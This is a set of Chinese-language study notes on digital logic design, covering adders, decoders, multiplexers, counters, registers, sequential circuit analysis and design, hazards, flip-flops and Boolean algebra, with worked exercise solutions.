0%

7.1 常用中规模组合逻辑电路

包含二进制并行加法器、译码器、编码器、多路选择器和多路分配器等。

7.1.1 二进制并行加法器

能够并行产生两个n为二进制数“算数和”的逻辑部件。按照进位方式不同可分为串行进位二进制并行加法器超前进位二进制并行加法器两种类型。

  1. 构成思想
  • 串行二进制并行加法器
    由全加器级联构成,高位的“和”依赖于来自低位的进位。被加数和加数各位能够并行到达各位输入,各位全加器的进位输入按照从低位到高位逐级串行传递。这里的每一位单独计算,第二位要等到第一位计算完成后才能计算,因此运算速度较慢。
  • 超前进位二进制并行加法器
    超前进位二进制并行加法器通过对输入的两个数进行逻辑运算,直接判断哪一位需要进位,无需进行等待。这里对输入两数进行逻辑运算需要进行一些分析。
    如果两数的某一位都是1,那么这一位必然有进位,因此定义Gi=AiBiG_i=A_iB_i为进位产生函数,且此时低位的进位就等于本位的进位。如果两数的某一位只有1个是1,那么此时低位的进位输入能够传送到本位的进位输出,因此定义Pi=AiBiP_i=A_i\oplus B_i。由此可得第i位的输出Fi=AiBiCi1=PiCi1F_i=A_i\oplus B_i\oplus C_{i-1}=P_i\oplus C_{i-1},第i位的进位Ci=PiCi1+GiC_i=P_iC_{i-1}+G_i
    可以根据上面的结论直接写出每一位进位的表达式函数。

  1. 典型芯片

二进制并行加法器74283,16引脚,其中C0C_0为来自低位的进位,FC4FC_4为输出高位的进位。

功能:不仅限于加法。

  1. 使用加法器进行2进制减法操作
    如果要使用加法器进行减法操作,需要将减数转换成补码输入。转换成补码需要对每一位取反后再加1,这里的加1可以输入到原低位进位输入端。每一次相减会有4种情况:
  • 被减数为正数,减数也为正数。此时若结果为正,则原高位进位输出端输出1;若结果为负,则原高位进位输出端输出0。
  • 被减数为负数,减数也为负数。此时若结果为正,则原高位进位输出端输出1,;若结果为负,则原高位进位输出端输出0。
  • 被减数为正数,减数为负数。此时原最高位进位输出端必为0,但可能产生正数溢出导致结果为负数。
  • 被减数为负数,减数为正数。此时原最高位进位输出端必为1,但可能产生负数溢出导致结果为正数。
    判断溢出的设计思路:首先根据两数最高位判断其为正数还是负数,然后将判断结果与计算结果进行分析。如果两数均为正数但结果为负,或两数均为负数但结果为正,则产生溢出。实际上就是判断两个输入数与输出数的最高位的关系。
    如果需要对加法器进行级联处理以进行更多位数的减法,那么每一个4位加法器中两数将不再有正负数的概念,均看做无符号正整数。此时仅需考虑第一种情况。
    对低位借位处理的设计思路:当低位不存在借位时,需要在原低位进位输入端中输入1以构造补码,存在借位时输入0即相当于借位减1。
    对向高位借位处理的设计思路:当本位需要借位时,原高位进位输出端为0,由于对于高位而言,输入0表示需要借位,因此可直接将本位原高位进位输出与高位原低位进位输出相连
  1. 使用加法器计算余三码的加法
    余三码比8421码多3,计算规律:两个1位余三码相加若无进位,则需将结果减3输出,如有进位,则需将结果加3输出。进位时会产生进位信息,可将低位进位输入与高位进位输出直接相连
  2. 使用加法器计算4位2进制数乘法
    4位二进制乘法的结果至多8位,可以通过输入列出竖式求出每一位的表达式:

    这里的计算思路是:由于最低位不可能有进位,因此直接将y0x0y_0x_0输出即可。后面的位可能有进位,这里先取下图红色方框的8位相加,将最低位直接输出,高3位加进位与绿色框的4位相加;将结果最低位直接输出,高3位加进位再与蓝色框的4位相加,最终获得结果。
  3. 使用加法器进行4位2421码的加法
    2421码加法的计算规律:
  • 如果两位均小于5,计算结果若小于5直接输出,否则加5输出
  • 如果两位均大于5,产生进位,计算结果若大于4直接输出,否则减5输出
  • 如果两位中一位大于4,一位小于5,则将结果直接输出,有进位输出进位
  1. 使用加法器进行4位8421码的加法
    8421码加法的加法规律:
  • 如果结果小于10,则直接输出
  • 如果结果大于10且无进位,则减10输出同时输出进位
  • 如果结果大于10且有进位,则加6输出同时输出进位

7.2 译码器和解码器

1. 译码器

常见二进制译码器、二-十进制译码器和数字显示译码器

  1. 二进制译码器
    二进制译码器能将n个输入转换为2n2^n个输出,且输出函数与由输入变量构成最小项具有对应关系的一种多输出组合逻辑电路。其中有一个或多个使能输入端,其为有效电平时译码器才工作,对一组输入代码仅有一个输出为有效电平。
    常用MSI二进制译码器:2-4线译码器、3-8线译码器(74138)


可以看到,使能端S1,S2,S3S_1,S_2,S_3必须都为1才工作。

功能:不仅限于译码。

(1) 使用译码器实现n个变量的表达式输出
这里一般通过将表达式转化为最小项或画出卡诺图加以处理。如要求使用3-8线译码器输出逻辑函数m(1,4,5,7,8,10,11)\sum m(1,4,5,7,8,10,11),1个3-8线译码器仅有8个输出,不足以产生16个输出,因此使用两个3-8线译码器。其中随机选取一个输入变量输入到使能端,规定当该变量取值为0时使用哪一个译码器,取值为1时使用另一个译码器。将满足函数条件的最小项全部连入一个与非门,即可在与非门后获得函数的正确输出。电路图如下,输入从低到高为:CBAD

  1. 二-十进制译码器
    将4位BCD码的10组代码翻译成10个与十进制数字符号对应的输出信号。7442低电平有效。


当产生非法的BCD码时,7442拒绝译码,避免产生错误信息

  1. 七段显示译码器
    用于进行数字显示的译码器,输出接入液晶数码管用于显示。


BI/BRO\overline {BI}/\overline {BRO}:熄灭输入端(低电平有效),有时作为输入信号有时输出信号。当作为输入时,其为低电平则所有灯灭;当作为输出时,当LT=1,RBI=0\overline {LT}=1,\overline {RBI}=0且输入数码为全0时,RBO=0\overline {RBO}=0;否则RBO=1\overline {RBO}=1。其主要用于多个数字显示多个译码器的连接。
LT\overline {LT}:灯测试端,当LT=0,BI=1\overline {LT}=0,\overline {BI}=1时所有灯全亮。
RBI\overline {RBI}:灭0输入端,熄灭前置0,即无意义0的显示。LT=1,RBI=0\overline {LT}=1,\overline {RBI}=0且输入为全0时,不显示0。

2. 编码器

二-十进制编码器、优先编码器。

  1. 二-十进制编码器
    将10进制数字0-9分别编成BCD码,输入端10个,输出端4个。

  1. 优先编码器

上面的二-十进制编码器的输入信号互斥,任何时候只允许一个输入端为有效信号。优先编码器将所有输入确定一个优先级,当多个信号同时输入时,会选择最高优先级的信号输出编码。
74148优先编码器输入与输出端均以低电平为有效电平,即若I7=0\overline {I_7}=0,则输出为000。
IS\overline {I_S}为选通输入端(允许输入端),当其为0时编码器才工作
OSO_S为选通输出端(允许输出端),当IS=0\overline {I_S}=0且无信号输入时OS=0O_S=0
OEX\overline {O_{EX}}为工作状态标志,当IS=0\overline {I_S}=0且有信号输入时才为0
上面两个端口用于扩展编码。如果要对16个输入进行优先编码,则共有4个输出。令一个编码器编码输入0~7,另一个编码8~15,当输入信号为高8位时禁用处理低位的编码器防止两个编码器同时有信号输入而产生错误输出。

由上图可知输入下标越大优先级越高。

7.1.3 多路选择器和多路分配器

1. 多路选择器

具有2n2^n个输入和n个选择控制变量,根据选择控制变量决定输出是输入的哪一个。
双4路 MUX 74153、8路 MUX 74152/74151和16路 MUX 74150


应用:

  • 用带有n个选择控制变量的MUX实现含有n个变量的函数的输出
    将函数的真值表依次输入到对应的输入端,通过将变量输入到选择控制变量,就能获得相应的输出。
    假设输入从0到7分别为0,0,1,1,1,1,0,0,选择控制变量为A0,A1,A2A_0,A_1,A_2。则该选择器的输出相当于求A1A2A_1\oplus A_2,对应真值表:
A2\A1A0 00 01 11 10
0 0 0 1 1
1 1 1 0 0

Ii=miI_i=m_imim_i表示第i个由输入变量组成的最小项。

  • 用带有n个选择控制变量的MUX实现含有n+1个变量的函数的输出
    此时选择控制变量的输入端数量不足,需要随机选择一个控制变量按照某种方式输入到2n2^n个输入中去。
    假设需要实现如下真值表的功能:
A3A2\A1A0 00 01 11 10
00 0 1 1 1
01 1 1 1 0
11 0 0 0 1
10 0 0 1 1

假设控制变量输入选择A0,A1,A2A_0,A_1,A_2,那么其选择的实际上是两个状态,至于这两个状态如何区分需要看A3A_3的值如何。

可以将真值表按照A0,A1,A2A_0,A_1,A_2的8种取值分为8块,分别对每一块进行分析,求出每一块中数值与A3A_3的关系。电路图如下所示。

  • 用带有n个选择控制变量的MUX实现含有大于n+1个变量的函数的输出
    思想与处理n+1个变量的输出相同。
    例:用一个2-4线选择器实现上面一个例子的真值表。
    A1,A0A_1,A_0作为控制变量输入,可将真值表按照A1,A0A_1,A_0的4种取值划分为4块:

    A0A1=00A_0A_1=00时,输出与A3,A2A_3,A_2的关系为:O=A3A2O=\overline {A_3}A_2
    A0A1=01A_0A_1=01时,输出与A3,A2A_3,A_2的关系为:O=A3O=\overline {A_3}
    A0A1=11A_0A_1=11时,输出与A3,A2A_3,A_2的关系为:O=A3A2O=\overline {A_3A_2}
    A0A1=10A_0A_1=10时,输出与A3,A2A_3,A_2的关系为:O=A3A2O=\overline {\overline {A_3}A_2}
    电路图如下所示:

2. 多路分配器

单输入多输出,从哪一路输出取决于选择控制变量,与选择器相反。

应用:
将译码器与选择器结合为比较器:一个数输入到译码器中获得8个输出,将这8个输出接到选择器中,选择器控制变量输入第二个数,如果两数相等,则输出应该为0,否则会输出1。

7.2 常用中规模时序逻辑电路

7.2.1 集成计数器

1. 集成同步计数器

由4位二进制同步加法计数器74161、单时钟4位二进制同步可逆计数器74191、单时钟十进制可逆计数器74190、双时钟4位二进制同步可逆计数器74193等

输入信号说明:
CLRCLR:清除端,高电平强制清除
LD\overline {LD}:预置控制,高电平时执行自增或自减操作,自增或自减取决于时钟信号
D,C,B,AD,C,B,A:预置初值,前两个信号为低电平时直接为计数器赋值
CPUCP_U\uparrow:累加计数脉冲
CPDCP_D\uparrow:累减计数脉冲
输出信号:
QiQ_i:计数值
QˉCC\bar Q_{CC}:进位输出负脉冲
QˉCB\bar Q_{CB}:结尾输出负脉冲

应用:构成任意模的计数器
如果需要构成模小于16的计数器,则只需对输出进行判断,达到某个值后触发电平连接CLR端清零即可。如果模大于16,则需要将多个这样的计数器串联(将进位端与计数脉冲连接),对输出进行统一判断,同样是达到某个值后触发电平连接CLR端清零。

2. 集成异步计数器

二—五—十进制加法计数器74290



功能描述:(注意上图的计数是在下降沿产生的!)

  1. 异步清零:R9AR9B=0,R0A=R0B=1R_{9A}\cdot R_{9B}=0,R_{0A}=R_{0B}=1时直接对QA,QB,QC,QDQ_A,Q_B,Q_C,Q_D清零
  2. 异步置9:R9A=R9B=1R_{9A}=R_{9B}=1时直接置9使QDQCQBQA=1001Q_DQ_CQ_BQ_A=1001
  3. 计数:R9AR9B=0,R0AR0B=0R_{9A}\cdot R_{9B}=0,R_{0A}\cdot R_{0B}=0时计数:
    (1) 模2计数:计数脉冲接到CPACP_AQAQ_A输出
    (2) 模5计数:计数脉冲接到CPBCP_BQDQCQBQ_DQ_CQ_B输出
    (3) 模10计数:将模2计数的输出接到模5脉冲输入或将模5计数的输出接到模2脉冲输入(两种计数方式相同计数的输出不同)


7.2.2 集成寄存器

寄存器:数字系统中用于存放数据或运算结果的一种常用逻辑器件。
功能:接收数据、保存数据、传送数据、左右移位、串并输入输出、预置、清零等

一、典型芯片:74194——4位双向移位寄存器

输入信号说明:
CLR\overline {CLR}:清零
DCBADCBA:并行数据输入
DRD_R:右移串行数据输入,右移后置于最高位
DLD_L:左移串行数据输入,左移后置于最低位
S1,S0S_1,S_0:工作方式选择:S1S0=00S_1S_0=00保持,=01=01右移,=10=10左移,=11=11并行输入
CPCP:工作脉冲
输出信号说明:
QDQCQBQAQ_DQ_CQ_BQ_A:寄存器状态

6.1 特点与分类

特点:电路中没有统一的同步时钟脉冲信号,电路状态的改变是外部输入信号变化直接作用的结果。
分类:根据电路结构和输入信号方式可以分为脉冲异步和电平异步;根据输出与输入的关系分为Moore和Mealy。

6.2 脉冲异步时序逻辑电路

6.2.1 结构模型

对输入信号的要求:

  • 输入信号为脉冲信号
  • 输入脉冲的宽度必须保证触发器可靠翻转
  • 输入脉冲的间隔,必须保证前一个脉冲引起的电路响应完全结束后,后一个脉冲才能到来
  • 不允许在两个或两个以上的输入端同时出现脉冲(必然有极短的时间差),因此在绘制真值表、状态表时需要注意,如果有多个信号输入,每一种情况只能有一个信号取值为1,其余全为0,减少了很多情况的讨论。也因此,异步时序的状态表有所不同,其次态的每一分栏均为其中一个变量取值为1,而不是三个变量的联合取值

输出信号的形式:

  • 若电路结构为Mealy型,则输出为脉冲型
  • 若电路结构为Moore型,则输出为电平型

两种电路相同点:

  • 状态的改变都依赖于外加脉冲
  • 存储元件均为触发器

两种电路不同点:

  • 脉冲异步无外加的统一时钟脉冲
  • 输入变量x为脉冲信号,由输入脉冲直接引起电路状态改变
  • 由次态逻辑产生各触发器控制输入信号(Y1,Y2,…,Yr),而且还产生触发器的时钟控制信号(CLK1,CLK2,…,CLKr)

6.2.2 脉冲异步时序逻辑分析

分析方法:与同步时序大致相同,同样采用状态表、状态图、时间图作为工具
注意:

  • 当存储元件采用钟控触发器时,对触发器的时钟控制端应该作为激励函数处理(仅当时钟端有脉冲作用时,才会根据和触发器的输入确定状态转移方向,否则触发器状态不变)
  • 根据对输入的约束,分析时可以排除两个或两个以上输入端同时出现脉冲以及输入端无脉冲出现情况

分析步骤:

  • 写出电路的输出函数和激励函数表达式
  • 列出电路次态真值表或次态方程组
  • 作出状态表和状态图
  • 用文字描述电路的逻辑功能(必要时画出时间图)

注意:
在脉冲异步的次态真值表中,↓表示下跳,即仅当时钟端有↓出现时,相应触发器状态才能有所变化,否则状态不变

6.3 脉冲异步时序逻辑电路的设计

设计步骤与同步时序相同:

  • 形成原始状态图和原始状态表
  • 状态化简,求出最小状态表
  • 状态编码,得到二进制状态表
  • 选定触发器类型,并求出激励函数和输出函数最简表达式
  • 画出逻辑电路图

下面是带有时钟信号的钟控触发器激励表

在设计时对于状态表中与时钟端有关的变量,需要标明上升沿或下降沿以明确接线,如下图。

5.1 时序逻辑电路概述

5.1.1 时序逻辑电路描述方法

若逻辑电路在任何时刻产生的稳定输出信号不仅与电路在该时刻的输入信号有关,还与电路过去的输入信号有关,则称为时序逻辑电路。

根据电路中是否有统一定时信号分为两类:同步时序逻辑电路和异步时序逻辑电路。

一、逻辑函数表达式
同步时序逻辑电路的结构与功能,可以用三组逻辑函数表达式描述。

  1. 输出函数表达式:一组反映电路输出Z与输入x和状态y之间关系的表达式。
    Mealy型电路:电路输出与输入和状态均有关
    Moore型电路:电路输出仅与状态有关
  2. 激励函数表达式:控制函数,反映存储电路的输入Y与外部输入x和电路状态y之间的关系
    Yj=gj(x1,x2,...,xn,y1,y2,...,ys),j=1,2,...,rY_j=g_j(x_1,x_2,...,x_n,y_1,y_2,...,y_s),j=1,2,...,r
  3. 次态函数表达式:次态函数用于反映同步时序电路的次态与激励函数YY和现态y的关系,与触发器类型相关。yln+1=kl(Yj,yj),j=1,2,...,r;l=1,2,...,sy_l^{n+1}=k_l(Y_j,y_j),j=1,2,...,r;l=1,2,...,s

二、状态表
反映同步时序电路输出Z、次态yn+1y^{n+1}与电路输入x、现态y之间的关系的表格,又称状态转移表。Moore型电路的状态表中次态与输出分栏列出,Mealy型电路的状态表中次态与输出在一栏列出。两种电路的状态表中第一栏均为现态,第二栏为次态或次态/输出,其下分多栏对应不同x输入时的y或y/Z。
状态表清晰地给出了同步时序电路在不同输入和现态下的次态和输出。

三、状态图
一种反映同步时序电路状态转换规律及相应输入、输出取值关系的有向图。
每一个结点均代表一个存储电路状态,对于Moore型电路,其输出写在结点中,代表该结点的存储电路状态产生的输出;对于Mealy型电路,其输出写在箭头上,代表该箭头的发出端的存储电路状态与箭头上的输入共同决定的输出的值。

四、时间图
使用波形图的方式表示输入信号、输出信号与电路状态的取值在各时刻的对应关系,通常称为工作波形图。可以表示电路状态的转换时刻。

5.2 同步时序逻辑电路分析

5.2.1 分析方法与步骤

表格法与代数法。
一、表格分析法一般步骤:

  • 写出输出函数与激励函数表达式
  • 借助触发器功能表列出电路次态真值表
  • 画出状态表和状态图(如有必要需画出时间图)
  • 归纳电路逻辑功能

二、代数分析法一般步骤:

  • 写出输出函数表达式和激励函数表达式
  • 将激励函数表达式代入触发器的次态方程,导出电路的次态方程组
  • 画出状态表和状态图
  • 归纳电路逻辑功能

重要:各种触发器输出关于输入和状态的函数(仅列出钟控触发器)
R-S触发器:Qn+1=S+RˉQQ^{n+1}=S+\bar RQ
D触发器:Qn+1=DQ^{n+1}=D
J-K触发器:Qn+1=JQˉ+KˉQQ^{n+1}=J\bar Q+\bar KQ
T触发器:Qn+1=TQˉ+TˉQQ^{n+1}=T\bar Q+\bar TQ

5.3 同步时序逻辑电路设计

设计一般步骤:

  1. 根据功能需求形成原始状态图和原始状态表
  2. 状态化简,求出最小化状态表
  3. 状态编码,得到二进制状态表
  4. 选择触发器的类型,求出激励函数与输出函数最简表达式
  5. 画出逻辑电路图

5.3.1 建立原始状态图和原始状态表

  1. 确定电路类型:Moore型、Mealy型,大多数需求这两种都可以实现,但复杂程度可能不同
  2. 设定初始状态:时序逻辑电路在输入信号开始作用前的状态
  3. 根据需要记忆的信息添加新的状态:状态数量多少取决于需要记忆和区分的信息量
  4. 确定各时刻电路的输出:Moore型电路指出每个状态对应输出,Mealy型电路指出每个状态和输入的组合对应输出。

5.3.2 状态化简

  1. 状态等效
    (1) 等效状态:对于所有可能的输入序列,分别从两个状态出发得到的输出序列完全相同,称两个状态等效。判断方法:输出相同且次态满足三种情况之一:次态相同、次态交错或互为现态、次态循环或为等效对。等效具有传递性
    (2) 等效类:若干彼此等效的状态组成的集合,其中任意两个状态均等效。
    (3) 最大等效类:不是其他任何一个等效类的真子集的等效类

  2. 状态化简
    隐含表法。步骤:
    (1) 作出隐含表
    (2) 找出等效对
    (3) 求出最大等效类
    (4) 状态合并
    (5) 作出最简状态表

    隐含表:

5.3.3 状态编码

最小化状态表中用字母或数字表示的状态,指定一个二进制代码,形成二进制状态表。方法:相邻分配法。
以下情况分配相邻状态码,优先级依次降低:

  1. 次态相同,为现态分配相邻状态码
  2. 同一现态,为次态分配相邻状态码
  3. 输出相同,为现态分配相邻状态码

5.3.4 确定激励函数和输出函数并画出逻辑电路图

列出激励函数与输出函数真值表
使用卡诺图化简后写出最简表达式

5.3.5 注意的问题

  1. 电路是否能够自恢复。设计电路的最佳状态时电路正常状态下不会到达无效状态,其次是万一进入无效状态后能够在输入信号和脉冲作用下自动进入有效状态,后者称为“自恢复”,否则称为“挂起”。电路中包含多个无效状态时往往将无效状态构成的集合称为状态的无效序列,正常的状态称为有效序列。
  2. 电路是否会产生错误输出。处于无效状态时,是否会在输入信号和时钟脉冲作用下产生错误输出信号。
    若存在“挂起”和错误输出,则需要进行设计修正。

4.0 概念

  1. 组合逻辑电路:逻辑电路在任何时刻产生的稳定输出信号仅仅取决于该时刻的输入信号,而与输入信号作用前的电路状态无关(即不含触发器),则称为组合逻辑电路
  2. 结构特点:电路由逻辑门构成,不含记忆元件;输入单向传输,不含反馈回路
  3. 电路类型:根据输出端为1个还是多个分为单输出组合逻辑电路和多输出组合逻辑电路。

4.1 组合逻辑电路分析

对一个给定的逻辑电路,找出其输出与输入之间的逻辑关系。

分析的一般步骤:

  • 逻辑电路图(题目中一般给出)
  • 写出逻辑表达式(分析逻辑电路图,具体分析过程无需详细写出)
  • 若电路功能直观简单,则跳过2步,若表达式较为复杂,则需要画出卡诺图化简表达式,否则跳过该步
  • 画出输出端的真值表
  • 分析逻辑功能
  • 改进电路使电路更简单

4.2 组合逻辑电路设计

设计的首要任务是将文字描述的设计要求抽象为一种逻辑关系,即抽象出描述问题的逻辑表达式,然后根据表达式画逻辑电路。逻辑电路可以使用们短路(小规模)、中规模集成电路进行组合,也可使用可编程大规模集成电路实现。

设计的一般步骤:

  • 确定输入、输出,列出真值表
  • 写出表达式并简化
  • 画出卡诺图
  • 求出最简与或表达式
  • 如果需要进行形式变换则进行,否则跳过
  • 画出逻辑电路图

包含无关条件的组合逻辑电路设计

  • 在一些实际问题中,输入变量之间存在相互制约或问题的某种特殊限定等,使逻辑函数与输入变量的某些取值组合无关。
  • 描述此类问题的逻辑函数称为包含无关条件的逻辑函数
  • 采用“最小项之和”表达式描述一个包含无关条件的逻辑问题时,函数表达式中是否包含无关项,以及对无关项是令其值为0还是1,并不影响函数的实际逻辑功能
  • 在化简此类逻辑函数时,利用无关项的随意性往往可以使逻辑函数得到更好地简化,从而使设计的电路达到更简

4.3 组合逻辑电路的险象

实际情况下需要考虑信号传输的时延问题。实际上,信号经过任何逻辑门和导线都会产生时间延迟,这就使得当电路所有输入达到稳定状态时,输出并不是立即达到稳定状态。
延迟时间对数字系统是一个有害的因素。一般会造成系统运行速度下降,电路中信号的波形参数变坏,以及产生竞争险象等问题。

  • 逻辑电路中各路径上延迟时间的长短与信号经过的门的级数有关,与具体逻辑门的时延大小有关,还与导线的长短有关。
  • 因此,输入信号经过不同路径到达输出端的时间有先有后,这种现象称为竞争现象。

竞争现象分为临界竞争和非临界竞争。

  • 不产生错误输出的称为非临界竞争
  • 导致错误输出的竞争称为临界竞争,被称为险象
    • 这种险象是一种瞬态险象
    • 它表现为在输出端陈胜不应有的尖脉冲,暂时地破坏正常逻辑关系
    • 一旦瞬态过程结束,即可恢复正常逻辑关系

险象分类:

  • 静态险象:在输入变化而输出不应发生变化的情况下,输出端产生了短暂的错误输出
  • 动态险象:在输入变化而输出应该发生变化的情况下,输出在变化过程中产生了短暂的错误输出。
  • “0”型险象:错误输出信号为负脉冲
  • “1”型险象:错误输出信号为正脉冲

险象的判断:代数法和卡诺图法

  • 代数法:检查函数表达式中是否存在具备竞争条件的变量,是否有某个变量同时以原变量和反变量的形式出现在函数表达式中。
    • 如果具备,则代入其他变量,看函数表达式是否会成为XXˉX\cdot \bar XX+XˉX+ \bar X
    • 若会,则说明对应的逻辑电路可能产生险象。
  • 卡诺图法:画出函数卡诺图,画出和函数表达式中各项“与”项对应的卡诺圈。
    • 若卡诺圈之间存在“相切”关系,则可能产生险象。

消除险象的方法:增加冗余项(√)、增加惯性延时环节、选通法
在代数法中,增加冗余项的方法是:记下某个变量产生险象时其他变量的取值,将其全部取反之后相与,加上这一项即可。
卡诺图法中,增加卡诺圈消除相切即可。

解题指南

五、分析题

  1. (1) 写出逻辑表达式:

F=ABCA+ABCB+ABCC=(ABC+A)(ABC+B)(ABC+C)=ABC+ABCF=\overline{\overline{ABC}A+\overline{ABC}B+\overline{ABC}C}\\ =(ABC+\overline A)(ABC+\overline B)(ABC+\overline C)\\ =ABC+\overline{ABC}

(2) 结果简单,直接描述功能:判断三个输入是否都相等
(3) 简化电路图:

六、设计题

  1. (1) 功能描述:比较两个二位二进制数
    (2) 输入:4个;输出:1个。真值表:
B1B0\A1A0 00 01 11 10
00 0 1 1 1
01 0 0 1 1
11 0 0 0 0
10 0 0 1 0

(3) 表达式:Z=A1B1+B1B0A0+B1A1A0Z=A_1\overline{B_1}+\overline{B_1}\cdot\overline{B_0}A_0+\overline{B_1}A_1A_0
(4) 电路图:

  1. 本题的关键在于使用与非门设计。
    (1) 输入:4个,输出:1个。真值表:
A3A2\A1A0 00 01 11 10
00 0 0 1 1
01 0 1 0 1
11 0 1 0 0
10 0 0 1 0

(2) 表达式:

Z=A2A1A0+A2A1A0+A3A1A0=A2A1A0+A2A1A0+A3A1A0=A2A1A0A2A1A0A3A1A0=A2A1A2A0A2A1A1A0A3A1A1A0A1Z=A_2\overline{A_1}A_0+\overline{A_2}A_1A_0+\overline{A_3}A_1\overline{A_0}\\ =\overline{\overline{A_2\overline{A_1}A_0+\overline{A_2}A_1A_0+\overline{A_3}A_1\overline{A_0}}}\\ =\overline{\overline{A_2\overline{A_1}A_0}\cdot\overline{\overline{A_2}A_1A_0}\cdot\overline{\overline{A_3}A_1\overline{A_0}}}\\ =\overline{\overline{\overline{A_2A_1}A_2A_0}\cdot\overline{\overline{A_2A_1}A_1A_0}\cdot\overline{\overline{A_3A_1}\cdot\overline{A_1A_0}A_1}}

(3) 电路图:略

  1. (1) 输入:4个,输出:4个;真值表:
A3A2\A1A0 00 01 11 10
00 0011 0100 0110 0101
01 0111 1011 1101 1100
11 1110 1111 dddd dddd
10 dddd dddd dddd dddd

(2) 表达式:

Z0=A3A1A0+A3A2A0+A2A0Z1=A1A0+A2A1+A2A1A0Z2=A2A0+A3A1+A3A1+A2A0Z_0=\overline{A_3}\cdot\overline{A_1}\cdot\overline{A_0}+\overline{A_3}\cdot\overline{A_2}\cdot\overline{A_0}+A_2A_0\\ Z_1=\overline{A_1}\cdot\overline{A_0}+A_2\overline{A_1}+\overline{A_2}A_1A_0\\ Z_2=\overline{A_2}A_0+\overline{A_3}A_1+A_3\overline{A_1}+A_2\overline{A_0}

3.1 数字集成电路分类

集成电路进行数字系统设计的优点:可靠性高、可维护性好、功耗低、成本低等
数字集成电路根据采用的半导体期间可以分为两类:

  1. 双极型集成电路:采用双极型半导体期间作为元件。特点:速度快、负载能力强,但功耗较大、集成度较低。
  2. 单极型集成电路(MOS):采用金属、一氧化物半导体场效应管作为元件。特点:结构简单、制造方便、集成度高、功耗低,但速度较慢

3.2 半导体期间开关特性

3.2.1 晶体二极管

正向特性:有门槛电压,即二极管开始导通的正向电压,又称阈值电压。
反向特性:在反向电压作用下处于截止状态,反向电阻大,相当于断开。

3.2.2 晶体三极管

截止、放大、饱和3种状态。

3.3 逻辑门电路

3.3.1 简单逻辑门电路

  1. 与门
  2. 或门


3. 非门

3.3.2 TTL集成逻辑门电路和CMOS电路

TTL功耗大、集成度低,广泛用户中小规模集成电路中
常用TTL集成电路芯片有74系列

两种特殊门电路:

  1. 集电极开路门(OC门)
    一种输出端可以直接相互连接的特殊逻辑门,可以实现“线与”逻辑
  2. 三态输出门(TS门)
    常用于数字系统中总线传输控制,可以让共享总线的输入输出设备根据控制信号从总线获取或向总线发送数据
    三种输出状态:高电平、低电平、高阻

正逻辑与负逻辑
正逻辑:用高电平表示逻辑1
负逻辑:用低电平表示逻辑1

3.4 触发器

触发器:一种具有记忆功能的电子器件,用于存储一位二进制信息
特点:

  • 有两个互补的输出端Q,QˉQ,\bar Q
  • 有两个稳定状态,Q=1,Qˉ=0Q=1,\bar Q=0称为“1”状态,否则称为“0”状态。输入信号不变时,触发器状态稳定不变
  • 在一定输入信号作用下,触发器可以从一个稳定状态转移到另一个稳定状态
  • 输出状态不仅与现时输入有关,还与原来输出状态有关
  • 按功能分类:RS型触发器、D型触发器、T型触发器、JK型触发器等

现态:Qn,QnˉQ^n,\bar{Q^n},简记为Q,QˉQ,\bar Q
次态:Qn+1,Qˉn+1Q^{n+1},\bar Q^{n+1}

3.4.1 基本R-S触发器

功能表:

R S 功能
1 1 不变
1 0 次态为1
0 1 现态为0
0 0 不定(不允许)

输出方程:Qn+1=Sˉ+RQQ^{n+1}=\bar S+RQ
约束方程:R+S=1R+S=1

基本R-S触发器在RS不同时实现的是赋值功能,赋R的值。

3.4.2 常用的几种时钟控制触发器

1. 钟控R-S触发器

CP=0CP=0时,QQ状态不变
CP=1CP=1时,R-S输入功能表与基本R-S触发器功能表相反。

输出方程:Qn+1=S+RˉQQ^{n+1}=S+\bar RQ
约束方程:RS=0RS=0

激励表:

2. 钟控D触发器

实际上就是将R-S触发器的S换成了D,R换成了~D。因此D输入什么就储存什么。

输出方程:Qn+1=DQ^{n+1}=D

3. 钟控J-K触发器

实际上就是相较于钟控R-S触发器添加了JK端均为1的处理:反转。JK端输入不同时赋J的值。

输出方程:Qn+1=JQˉ+KˉQQ^{n+1}=J\bar Q+\bar KQ

4. 钟控T触发器

即将钟控J-K触发器的JK端接在一起。T=1反转,T=0不变

3.4.3 主从R-S触发器

空翻现象:在一个时钟周期内触发器发生2次及以上的变化,会造成系统状态的不稳定和工作的紊乱。
主从R-S触发器可以看做两个R-S触发器串联形成,这两个触发器的时钟信号互补。当主触发器解锁时,其信号变化对从触发器无影响。
从触发器的状态取决于主触发器解锁到锁定最后一课的状态,根据此状态设定从触发器。因此整个触发器输出信号只可能在时钟信号由1变为0时改变,提升了系统的同步性。

  1. 主从R-S触发器

其中RD,SDR_D,S_D为直接清零端和直接置1端,一般情况下为高电平,为低电平时可以直接为从触发器强制赋值。

  1. 主从J-K触发器
    在主从R-S触发器的基础上,加从Qˉ\bar Q到主触发器S端的反馈与从Q到R端的反馈:R=K,S=J

  1. 典型维持:阻塞D触发器
    钟控D触发器的改进版,只在时钟信号由0变成1(称上升沿)时读取D信号并设置触发器状态,其余时间Q不变

2.1 逻辑代数基本概念

2.1.1 逻辑变量及基本逻辑运算

一、逻辑变量
任何逻辑变量仅有两种可能取值:0或1
二、基本逻辑运算:与或非

2.1.2 逻辑函数表示形式

  1. 逻辑函数表达式
  2. 真值表
  3. 卡诺图

2.2 逻辑代数公理、基本定理与规则

2.2.1 公理:

  1. 交换律
  2. 结合律
  3. 分配律
  4. 0-1律
  5. 互补律

2.2.2 基本定理:

  1. 0与1的与或关系
  2. A+A=A,AA=AA+A=A,A\cdot A=A
  3. 吸收律:A(A+B)=A,A+AB=AA\cdot(A+B)=A,A+A\cdot B=A
  4. A+AˉB=A+B,A(Aˉ+B)=ABA+\bar A\cdot B=A+B,A\cdot(\bar A+B)=AB
  5. A=A\overline {\overline A}=A
  6. 德摩根律
  7. AB+ABˉ=A,(A+B)(A+Bˉ)=AA\cdot B+A\cdot \bar B=A,(A+B)\cdot(A+\bar B)=A
  8. AB+AˉC+BC=AB+AˉC,(A+B)(Aˉ+C)(B+C)=(A+B)(Aˉ+C)A\cdot B+\bar A\cdot C+B\cdot C=A\cdot B+\bar A\cdot C,(A+B)\cdot(\bar A+C)\cdot(B+C)=(A+B)\cdot(\bar A+C)

2.2.3 重要规则

  1. 代入规则
  2. 反演规则
  3. 对偶规则

2.2.4 复合逻辑

  1. 与非逻辑:先与后非
  2. 或非逻辑:先或后非
  3. 与或非逻辑:先与再或后非
  4. 异或、同或

2.3 逻辑函数表达式两种基本形式

2.3.1 两种基本形式

与-或表达式(先与后或)、或-与表达式(先或后与)

2.3.2 标准形式

